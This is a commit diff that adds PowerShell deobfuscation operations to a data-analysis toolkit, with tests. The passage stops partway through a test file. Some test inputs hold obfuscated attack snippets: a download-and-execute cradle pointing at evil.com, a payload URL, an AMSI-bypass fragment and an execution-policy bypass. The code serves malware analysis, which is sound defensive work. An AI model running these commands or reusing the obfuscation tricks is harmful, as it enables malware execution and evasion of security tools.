Merge 19dd80b10ea6895dc266188346f522a226739804 into d735496641493725fbdf64f1c0064296c7f3fdac
This commit is contained in:
commit
f95a2e1806
@ -496,6 +496,11 @@
|
|||||||
"PHP Deserialize",
|
"PHP Deserialize",
|
||||||
"PHP Serialize",
|
"PHP Serialize",
|
||||||
"Microsoft Script Decoder",
|
"Microsoft Script Decoder",
|
||||||
|
"PowerShell Format String Deobfuscate",
|
||||||
|
"PowerShell Decode EncodedCommand",
|
||||||
|
"PowerShell Backtick Remove",
|
||||||
|
"PowerShell Concatenation Join",
|
||||||
|
"PowerShell Char Decode",
|
||||||
"Strip HTML tags",
|
"Strip HTML tags",
|
||||||
"Diff",
|
"Diff",
|
||||||
"To Snake case",
|
"To Snake case",
|
||||||
|
|||||||
65
src/core/operations/PowerShellBacktickRemove.mjs
Normal file
65
src/core/operations/PowerShellBacktickRemove.mjs
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
/**
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
|
||||||
|
import Operation from "../Operation.mjs";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* PowerShell Backtick Remove operation
|
||||||
|
*/
|
||||||
|
class PowerShellBacktickRemove extends Operation {
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super();
|
||||||
|
|
||||||
|
this.name = "PowerShell Backtick Remove";
|
||||||
|
this.module = "Default";
|
||||||
|
this.description = "Removes obfuscating backtick characters from PowerShell code. Attackers insert backticks before regular letters to break up recognisable keywords without changing execution (<code>In`voke-Ex`pression</code> → <code>Invoke-Expression</code>).<br><br>By default all backticks are stripped, which maximally deobfuscates the script. Enable <b>Preserve escape sequences</b> to retain legitimate PowerShell escape sequences (<code>`n</code>, <code>`t</code>, <code>`r</code>, <code>`0</code>, <code>`a</code>, <code>`b</code>, <code>`f</code>, <code>`v</code>, <code>`e</code>, <code>`"</code>, <code>`'</code>, <code>``</code>, <code>`$</code>, <code>`u</code>).";
|
||||||
|
this.infoURL = "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_special_characters";
|
||||||
|
this.inputType = "string";
|
||||||
|
this.outputType = "string";
|
||||||
|
this.args = [
|
||||||
|
{
|
||||||
|
name: "Preserve escape sequences",
|
||||||
|
type: "boolean",
|
||||||
|
value: false
|
||||||
|
}
|
||||||
|
];
|
||||||
|
this.checks = [
|
||||||
|
{
|
||||||
|
pattern: "`[a-zA-Z0-9]",
|
||||||
|
flags: "",
|
||||||
|
args: []
|
||||||
|
}
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param {string} input
|
||||||
|
* @param {Object[]} args
|
||||||
|
* @returns {string}
|
||||||
|
*/
|
||||||
|
run(input, args) {
|
||||||
|
const preserveEscapes = args[0];
|
||||||
|
|
||||||
|
if (!preserveEscapes) {
|
||||||
|
// Strip all backticks — maximally deobfuscating.
|
||||||
|
return input.replace(/`/g, "");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Preserve recognised PowerShell escape sequences by consuming each backtick
|
||||||
|
// together with its following character in one match. This ensures `` (two backticks)
|
||||||
|
// is treated as a single escape unit rather than two independent backticks.
|
||||||
|
// `n `t `r `0 `a `b `f `v `e → control characters
|
||||||
|
// `" `' `` `$ → literal punctuation
|
||||||
|
// `u → Unicode escape (PS 6+)
|
||||||
|
return input.replace(/`([\s\S]?)/g, (match, next) => {
|
||||||
|
return /[ntrabfve0"'`$u]/.test(next) ? match : next;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PowerShellBacktickRemove;
|
||||||
78
src/core/operations/PowerShellCharDecode.mjs
Normal file
78
src/core/operations/PowerShellCharDecode.mjs
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
/**
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
|
||||||
|
import Operation from "../Operation.mjs";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* PowerShell Char Decode operation
|
||||||
|
*/
|
||||||
|
class PowerShellCharDecode extends Operation {
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super();
|
||||||
|
|
||||||
|
this.name = "PowerShell Char Decode";
|
||||||
|
this.module = "Default";
|
||||||
|
this.description = "Resolves PowerShell <code>[char]</code> cast expressions to their character values. Handles decimal and hexadecimal operands, single casts, and array forms.<br><br><b>Supported patterns</b><br><code>[char]65</code> → <code>A</code><br><code>[char]0x41</code> → <code>A</code><br><code>[System.Char]65</code> → <code>A</code><br><code>[char[]](73,69,88)</code> → <code>\"IEX\"</code><br><code>-join [char[]](73,69,88)</code> → <code>\"IEX\"</code><br><br>Invalid or out-of-range values are left unchanged.";
|
||||||
|
this.infoURL = "https://learn.microsoft.com/en-us/dotnet/api/system.char";
|
||||||
|
this.inputType = "string";
|
||||||
|
this.outputType = "string";
|
||||||
|
this.args = [];
|
||||||
|
this.checks = [
|
||||||
|
{
|
||||||
|
pattern: "\\[(?:System\\.)?[Cc]har\\]",
|
||||||
|
flags: "",
|
||||||
|
args: []
|
||||||
|
}
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param {string} input
|
||||||
|
* @param {Object[]} args
|
||||||
|
* @returns {string}
|
||||||
|
*/
|
||||||
|
run(input, args) {
|
||||||
|
let result = input;
|
||||||
|
|
||||||
|
// Resolve array form first: [char[]](65,66,67) or -join [char[]](65,66,67)
|
||||||
|
result = result.replace(
|
||||||
|
/(?:-join\s*)?\[(?:System\.)?[Cc]har\[\]\]\s*\(([^)]+)\)/g,
|
||||||
|
(match, nums) => {
|
||||||
|
try {
|
||||||
|
const chars = nums.split(",").map(n => {
|
||||||
|
const t = n.trim();
|
||||||
|
const code = /^0x/i.test(t) ? parseInt(t, 16) : parseInt(t, 10);
|
||||||
|
if (isNaN(code) || code < 0 || code > 0xFFFF) throw new RangeError();
|
||||||
|
return String.fromCharCode(code);
|
||||||
|
});
|
||||||
|
return `"${chars.join("")}"`;
|
||||||
|
} catch (e) {
|
||||||
|
return match;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
// Resolve single [char] or [System.Char] cast (decimal or hex)
|
||||||
|
result = result.replace(
|
||||||
|
/\[(?:System\.)?[Cc]har\]\s*(0x[0-9a-fA-F]+|\d+)/g,
|
||||||
|
(match, code) => {
|
||||||
|
try {
|
||||||
|
const num = /^0x/i.test(code) ? parseInt(code, 16) : parseInt(code, 10);
|
||||||
|
if (isNaN(num) || num < 0 || num > 0xFFFF) return match;
|
||||||
|
return String.fromCharCode(num);
|
||||||
|
} catch (e) {
|
||||||
|
return match;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PowerShellCharDecode;
|
||||||
61
src/core/operations/PowerShellConcatenationJoin.mjs
Normal file
61
src/core/operations/PowerShellConcatenationJoin.mjs
Normal file
@ -0,0 +1,61 @@
|
|||||||
|
/**
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
|
||||||
|
import Operation from "../Operation.mjs";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* PowerShell Concatenation Join operation
|
||||||
|
*/
|
||||||
|
class PowerShellConcatenationJoin extends Operation {
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super();
|
||||||
|
|
||||||
|
this.name = "PowerShell Concatenation Join";
|
||||||
|
this.module = "Default";
|
||||||
|
this.description = "Resolves PowerShell string concatenation obfuscation by joining adjacent static string literals separated by <code>+</code>. Only resolves runs where every operand is a quoted literal — expressions involving variables or sub-expressions are left untouched.<br><br><b>Example</b><br>Input: <code>'In'+'vo'+'ke'+'-'+'Item'</code><br>Output: <code>'Invoke-Item'</code><br><br>Handles single-quoted, double-quoted, and mixed-quote chains. Runs iteratively until no further reductions are possible.";
|
||||||
|
this.infoURL = "https://learn.microsoft.com/en-us/powershell/scripting/lang-spec/chapter-07";
|
||||||
|
this.inputType = "string";
|
||||||
|
this.outputType = "string";
|
||||||
|
this.args = [];
|
||||||
|
this.checks = [
|
||||||
|
{
|
||||||
|
pattern: "(?:\"[^\"]*\"|'[^']*')\\s*\\+\\s*(?:\"[^\"]*\"|'[^']*')",
|
||||||
|
flags: "",
|
||||||
|
args: []
|
||||||
|
}
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param {string} input
|
||||||
|
* @param {Object[]} args
|
||||||
|
* @returns {string}
|
||||||
|
*/
|
||||||
|
run(input, args) {
|
||||||
|
let result = input;
|
||||||
|
let prev;
|
||||||
|
|
||||||
|
// Iteratively collapse adjacent quoted-string pairs until stable.
|
||||||
|
// Four passes per iteration to cover all quote-type combinations.
|
||||||
|
do {
|
||||||
|
prev = result;
|
||||||
|
// "a" + "b" → "ab"
|
||||||
|
result = result.replace(/"([^"]*)"\s*\+\s*"([^"]*)"/g, (_, a, b) => `"${a}${b}"`);
|
||||||
|
// 'a' + 'b' → 'ab'
|
||||||
|
result = result.replace(/'([^']*)'\s*\+\s*'([^']*)'/g, (_, a, b) => `'${a}${b}'`);
|
||||||
|
// "a" + 'b' → "ab" (normalise to leading quote style)
|
||||||
|
result = result.replace(/"([^"]*)"\s*\+\s*'([^']*)'/g, (_, a, b) => `"${a}${b}"`);
|
||||||
|
// 'a' + "b" → 'ab'
|
||||||
|
result = result.replace(/'([^']*)'\s*\+\s*"([^"]*)"/g, (_, a, b) => `'${a}${b}'`);
|
||||||
|
} while (result !== prev);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PowerShellConcatenationJoin;
|
||||||
66
src/core/operations/PowerShellDecodeEncodedCommand.mjs
Normal file
66
src/core/operations/PowerShellDecodeEncodedCommand.mjs
Normal file
@ -0,0 +1,66 @@
|
|||||||
|
/**
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
|
||||||
|
import Operation from "../Operation.mjs";
|
||||||
|
import {fromBase64} from "../lib/Base64.mjs";
|
||||||
|
import OperationError from "../errors/OperationError.mjs";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* PowerShell Decode EncodedCommand operation
|
||||||
|
*/
|
||||||
|
class PowerShellDecodeEncodedCommand extends Operation {
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super();
|
||||||
|
|
||||||
|
this.name = "PowerShell Decode EncodedCommand";
|
||||||
|
this.module = "Default";
|
||||||
|
this.description = "Decodes a PowerShell <code>-EncodedCommand</code> payload. The encoded command is a Base64-encoded, UTF-16LE string. Accepts the raw Base64 value, a flag-prefixed form (<code>-enc <b64></code>), or a full invocation (<code>powershell.exe -w hidden -enc <b64></code>).<br><br><b>Example</b><br>Input: <code>-enc SQBFAFgA</code><br>Output: <code>IEX</code>";
|
||||||
|
this.infoURL = "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe";
|
||||||
|
this.inputType = "string";
|
||||||
|
this.outputType = "string";
|
||||||
|
this.args = [];
|
||||||
|
this.checks = [
|
||||||
|
{
|
||||||
|
pattern: "-e(?:n(?:c(?:o(?:d(?:e(?:d(?:c(?:o(?:m(?:m(?:and?)?)?)?)?)?)?)?)?)?)?)?\\s+[A-Za-z0-9+/]+=*\\s*$",
|
||||||
|
flags: "i",
|
||||||
|
args: []
|
||||||
|
}
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param {string} input
|
||||||
|
* @param {Object[]} args
|
||||||
|
* @returns {string}
|
||||||
|
*/
|
||||||
|
run(input, args) {
|
||||||
|
// The Base64 payload is always the last whitespace-separated token.
|
||||||
|
// This cleanly handles all input forms:
|
||||||
|
// "SQBFAFgA"
|
||||||
|
// "-enc SQBFAFgA"
|
||||||
|
// "powershell.exe -w 1 -nop -ep bypass -enc SQBFAFgA"
|
||||||
|
const b64 = input.trim().split(/\s+/).pop().replace(/^["']|["']$/g, "");
|
||||||
|
|
||||||
|
if (!b64) throw new OperationError("No input provided.");
|
||||||
|
|
||||||
|
const bytes = fromBase64(b64, null, "byteArray");
|
||||||
|
|
||||||
|
if (bytes.length < 2) throw new OperationError("Decoded data too short to be a valid UTF-16LE string.");
|
||||||
|
if (bytes.length % 2 !== 0) throw new OperationError("Decoded byte length is odd — not valid UTF-16LE.");
|
||||||
|
|
||||||
|
// Decode UTF-16LE: each character is two bytes, little-endian
|
||||||
|
let result = "";
|
||||||
|
for (let i = 0; i + 1 < bytes.length; i += 2) {
|
||||||
|
result += String.fromCharCode(bytes[i] | (bytes[i + 1] << 8));
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PowerShellDecodeEncodedCommand;
|
||||||
71
src/core/operations/PowerShellFormatStringDeobfuscate.mjs
Normal file
71
src/core/operations/PowerShellFormatStringDeobfuscate.mjs
Normal file
@ -0,0 +1,71 @@
|
|||||||
|
/**
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
|
||||||
|
import Operation from "../Operation.mjs";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* PowerShell Format String Deobfuscate operation
|
||||||
|
*/
|
||||||
|
class PowerShellFormatStringDeobfuscate extends Operation {
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super();
|
||||||
|
|
||||||
|
this.name = "PowerShell Format String Deobfuscate";
|
||||||
|
this.module = "Default";
|
||||||
|
this.description = "Deobfuscates PowerShell strings that use the <code>-f</code> (format) operator with reordered index placeholders. Malware authors use this technique to scramble string fragments, hiding readable commands from static analysis.<br><br><b>Example</b><br>Input: <code>(\"{0}{3}{4}{1}{2}\" -f \"S\",\"Mo\",\"de\",\"et-Stri\",\"ct\")</code><br>Output: <code>Set-StrictMode</code><br><br>All matching expressions in the input are resolved in-place. Unresolvable placeholders (e.g. out-of-range indices) are left unchanged.";
|
||||||
|
this.infoURL = "https://github.com/bobby-tablez/Format-String-Deobfuscator";
|
||||||
|
this.inputType = "string";
|
||||||
|
this.outputType = "string";
|
||||||
|
this.args = [];
|
||||||
|
this.checks = [
|
||||||
|
{
|
||||||
|
pattern: "\\(\\s*[\"'][^\"']*\\{\\d+\\}[^\"']*[\"']\\s*-f\\s*[\"']",
|
||||||
|
flags: "i",
|
||||||
|
args: []
|
||||||
|
}
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param {string} input
|
||||||
|
* @param {Object[]} args
|
||||||
|
* @returns {string}
|
||||||
|
*/
|
||||||
|
run(input, args) {
|
||||||
|
// Match: ("<template>" -f "arg0", "arg1", ...) or single-quoted variants
|
||||||
|
// Template captures: group 1 = double-quoted content, group 2 = single-quoted content
|
||||||
|
// Args captures: group 3 = the full comma-separated argument list
|
||||||
|
const exprRegex = /\(\s*(?:"((?:[^"\\]|\\.)*)"|'((?:[^'\\]|\\.)*)')\s*-f\s*((?:(?:"[^"]*"|'[^']*')\s*(?:,\s*(?:"[^"]*"|'[^']*')\s*)*))\s*\)/g;
|
||||||
|
|
||||||
|
return input.replace(exprRegex, (match, dqTemplate, sqTemplate, argsStr) => {
|
||||||
|
try {
|
||||||
|
const template = dqTemplate !== undefined ? dqTemplate : sqTemplate;
|
||||||
|
|
||||||
|
// Extract all quoted argument values in order
|
||||||
|
const argValues = [];
|
||||||
|
const argRegex = /"([^"]*)"|'([^']*)'/g;
|
||||||
|
let argMatch;
|
||||||
|
while ((argMatch = argRegex.exec(argsStr)) !== null) {
|
||||||
|
argValues.push(argMatch[1] !== undefined ? argMatch[1] : argMatch[2]);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argValues.length === 0) return match;
|
||||||
|
|
||||||
|
// Substitute {N} placeholders with the corresponding argument value
|
||||||
|
return template.replace(/\{(\d+)\}/g, (placeholder, idx) => {
|
||||||
|
const i = parseInt(idx, 10);
|
||||||
|
return i < argValues.length ? argValues[i] : placeholder;
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
return match;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PowerShellFormatStringDeobfuscate;
|
||||||
@ -141,6 +141,11 @@ import "./tests/PGP.mjs";
|
|||||||
import "./tests/PHP.mjs";
|
import "./tests/PHP.mjs";
|
||||||
import "./tests/ParityBit.mjs";
|
import "./tests/ParityBit.mjs";
|
||||||
import "./tests/PHPSerialize.mjs";
|
import "./tests/PHPSerialize.mjs";
|
||||||
|
import "./tests/PowerShellBacktickRemove.mjs";
|
||||||
|
import "./tests/PowerShellCharDecode.mjs";
|
||||||
|
import "./tests/PowerShellConcatenationJoin.mjs";
|
||||||
|
import "./tests/PowerShellDecodeEncodedCommand.mjs";
|
||||||
|
import "./tests/PowerShellFormatStringDeobfuscate.mjs";
|
||||||
import "./tests/PowerSet.mjs";
|
import "./tests/PowerSet.mjs";
|
||||||
import "./tests/Protobuf.mjs";
|
import "./tests/Protobuf.mjs";
|
||||||
import "./tests/PubKeyFromCert.mjs";
|
import "./tests/PubKeyFromCert.mjs";
|
||||||
|
|||||||
137
tests/operations/tests/PowerShellBacktickRemove.mjs
Normal file
137
tests/operations/tests/PowerShellBacktickRemove.mjs
Normal file
@ -0,0 +1,137 @@
|
|||||||
|
/**
|
||||||
|
* PowerShell Backtick Remove tests
|
||||||
|
*
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
import TestRegister from "../../lib/TestRegister.mjs";
|
||||||
|
|
||||||
|
TestRegister.addTests([
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: basic keyword deobfuscation",
|
||||||
|
"input": "In`voke-Ex`pression",
|
||||||
|
"expectedOutput": "Invoke-Expression",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: IEX alias",
|
||||||
|
"input": "I`E`X",
|
||||||
|
"expectedOutput": "IEX",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: New-Object",
|
||||||
|
"input": "Ne`w-O`bje`ct",
|
||||||
|
"expectedOutput": "New-Object",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: multiple keywords on one line",
|
||||||
|
"input": "I`EX (N`ew-O`bject N`et.W`ebC`lient).Do`wnlo`adStr`ing($url)",
|
||||||
|
"expectedOutput": "IEX (New-Object Net.WebClient).DownloadString($url)",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: default strips all backticks including `n",
|
||||||
|
"input": "Write-Host `\"Hello`nWorld`\"",
|
||||||
|
"expectedOutput": "Write-Host \"HellonWorld\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [false] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: preserve mode keeps `n escape sequence",
|
||||||
|
"input": "Write-Host `\"Hello`nWorld`\"",
|
||||||
|
"expectedOutput": "Write-Host `\"Hello`nWorld`\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: preserve mode keeps `t tab escape",
|
||||||
|
"input": "col1`tcol2`tcol3",
|
||||||
|
"expectedOutput": "col1`tcol2`tcol3",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: preserve mode keeps `\" and `' escapes",
|
||||||
|
"input": "\"He said `\"hello`\"\"",
|
||||||
|
"expectedOutput": "\"He said `\"hello`\"\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: preserve mode keeps `$ to suppress variable expansion",
|
||||||
|
"input": "Write-Host `$notAVariable",
|
||||||
|
"expectedOutput": "Write-Host `$notAVariable",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: preserve mode keeps `` literal backtick escape",
|
||||||
|
"input": "Write-Host ``",
|
||||||
|
"expectedOutput": "Write-Host ``",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: preserve mode strips obfuscation but keeps escapes",
|
||||||
|
"input": "Inv`oke`-Ex`pression `\"Hello`nWorld`\"",
|
||||||
|
"expectedOutput": "Invoke-Expression `\"Hello`nWorld`\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: empty input",
|
||||||
|
"input": "",
|
||||||
|
"expectedOutput": "",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: no backticks — passthrough",
|
||||||
|
"input": "Invoke-Expression $cmd",
|
||||||
|
"expectedOutput": "Invoke-Expression $cmd",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: AMSI bypass pattern",
|
||||||
|
"input": "[Re`f].A`ss`em`bl`y.G`etT`yp`e('S`yst`em.M`an`ag`em`en`t.A`ut`om`at`io`n.A`ms`iU`ti`ls')",
|
||||||
|
"expectedOutput": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: digits after backtick are removed (not special)",
|
||||||
|
"input": "Write`1-Host",
|
||||||
|
"expectedOutput": "Write1-Host",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: download cradle with backtick New-Object and WebClient",
|
||||||
|
"input": "i`ex(Ne`w-Ob`ject N`et.W`ebCl`ient).D`ownl`oadStr`ing('http://evil.com/a.ps1')",
|
||||||
|
"expectedOutput": "iex(New-Object Net.WebClient).DownloadString('http://evil.com/a.ps1')",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: Set-ExecutionPolicy bypass split by backticks",
|
||||||
|
"input": "S`et-Ex`ecut`ionP`oli`cy By`pass -S`cop`e Pr`oces`s",
|
||||||
|
"expectedOutput": "Set-ExecutionPolicy Bypass -Scope Process",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: backtick inside URL string",
|
||||||
|
"input": "htt`p://19`2.168.1.1/pa`yload.ps1",
|
||||||
|
"expectedOutput": "http://192.168.1.1/payload.ps1",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: trailing backtick with no following char removed",
|
||||||
|
"input": "Get-Process`",
|
||||||
|
"expectedOutput": "Get-Process",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: preserve mode strips `P `o obfuscation, keeps `n and `\"",
|
||||||
|
"input": "Get-`Pr`ocess `\"Hello`nWorld`\"",
|
||||||
|
"expectedOutput": "Get-`Pr`ocess `\"Hello`nWorld`\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Backtick Remove: preserve mode strips obfuscation, keeps `$ suppressor",
|
||||||
|
"input": "Get-`Pr`ocess `$notVar",
|
||||||
|
"expectedOutput": "Get-Process `$notVar",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
|
||||||
|
}
|
||||||
|
]);
|
||||||
137
tests/operations/tests/PowerShellCharDecode.mjs
Normal file
137
tests/operations/tests/PowerShellCharDecode.mjs
Normal file
@ -0,0 +1,137 @@
|
|||||||
|
/**
|
||||||
|
* PowerShell Char Decode tests
|
||||||
|
*
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
import TestRegister from "../../lib/TestRegister.mjs";
|
||||||
|
|
||||||
|
TestRegister.addTests([
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: decimal single char",
|
||||||
|
"input": "[char]65",
|
||||||
|
"expectedOutput": "A",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: hex single char",
|
||||||
|
"input": "[char]0x41",
|
||||||
|
"expectedOutput": "A",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: [System.Char] form",
|
||||||
|
"input": "[System.Char]65",
|
||||||
|
"expectedOutput": "A",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: char array — IEX",
|
||||||
|
"input": "[char[]](73,69,88)",
|
||||||
|
"expectedOutput": "\"IEX\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: -join char array — IEX",
|
||||||
|
"input": "-join [char[]](73,69,88)",
|
||||||
|
"expectedOutput": "\"IEX\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: char array with hex values",
|
||||||
|
"input": "[char[]](0x49,0x45,0x58)",
|
||||||
|
"expectedOutput": "\"IEX\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: char array — New-Object",
|
||||||
|
"input": "[char[]](78,101,119,45,79,98,106,101,99,116)",
|
||||||
|
"expectedOutput": "\"New-Object\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: multiple single casts in one line",
|
||||||
|
"input": "[char]73 + [char]69 + [char]88",
|
||||||
|
"expectedOutput": "I + E + X",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: char cast embedded in script",
|
||||||
|
"input": "$cmd = [char[]](73,69,88); & $cmd $payload",
|
||||||
|
"expectedOutput": "$cmd = \"IEX\"; & $cmd $payload",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: null character",
|
||||||
|
"input": "[char]0",
|
||||||
|
"expectedOutput": "\x00",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: space character",
|
||||||
|
"input": "[char]32",
|
||||||
|
"expectedOutput": " ",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: no [char] casts — passthrough",
|
||||||
|
"input": "Invoke-Expression $cmd",
|
||||||
|
"expectedOutput": "Invoke-Expression $cmd",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: empty input",
|
||||||
|
"input": "",
|
||||||
|
"expectedOutput": "",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
